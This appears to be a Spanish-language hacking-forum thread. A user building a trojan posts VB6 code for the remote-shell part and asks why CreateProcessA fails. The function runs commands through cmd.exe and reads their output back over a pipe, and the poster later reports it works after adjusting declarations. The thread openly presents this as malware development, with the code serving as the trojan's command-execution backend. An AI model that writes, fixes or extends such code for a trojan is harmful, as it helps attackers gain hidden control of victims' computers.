Bueno para mi troyano queria elaborar una buena shell remota con pipes, como no tenia mucha idea me puse a investigar y ayudandome de una shell que encontre purulando por la web he elaborado este codigo pero nose porque me da error, si alguien me puede ayudar se lo agradeceria. El error lo da la api CreateProcessA.
Public Function CMD(Comando As String) As String
On Error GoTo Error_cmd
Dim hReadPipe As Long
Dim hWritePipe As Long
Dim SecAtt As SECURITY_ATTRIBUTES
Dim ProcInfo As PROCESS_INFORMATION
Dim StUpInfo As STARTUPINFO
Dim Ret As Long
Dim Buffer As String * 256
Dim BytesRead As Long
SecAtt.nLength = Len(SecAtt)
SecAtt.bInheritHandle = 1&
SecAtt.lpSecurityDescriptor = 0&
If CreatePipe(hReadPipe, hWritePipe, SecAtt, 0) = 0 Then
CMD = "Error: " & Err.LastDllError
Exit Function
End If
StUpInfo.cb = Len(StUpInfo)
StUpInfo.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
StUpInfo.hStdOutput = hWritePipe
StUpInfo.hStdError = hWritePipe
Comando = Environ("COMSPEC") & " /c " & Comando
If CreateProcessA(vbNullString, Comando, SecAtt, SecAtt, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, StUpInfo, ProcInfo) = 0 Then
CMD = "Error: " & Err.LastDllError
Exit Function
End If
CloseHandle (hWritePipe)
CMD = ""
Do
Ret = ReadFile(hReadPipe, Buffer, 256, BytesRead, 0&)
CMD = CMD & Left$(Buffer, BytesRead)
Loop While Ret <> 0
CloseHandle (ProcInfo.hThread)
CloseHandle (ProcInfo.hProcess)
CloseHandle (hWritePipe)
Exit Function
Error_cmd:
CMD = "Error: " & Err.Description
End Function
http://foro.elhacker.net/programacion_visual_basic/ayuda_con_cmd_pipe_vb6-t277687.0.html;msg1367077#msg1367077
MAGIAAAAA
Gracias por la ayuda aunque al final no la necesite, solo tuve que hacer algunas modificaciones en las declaraciones y funciono :D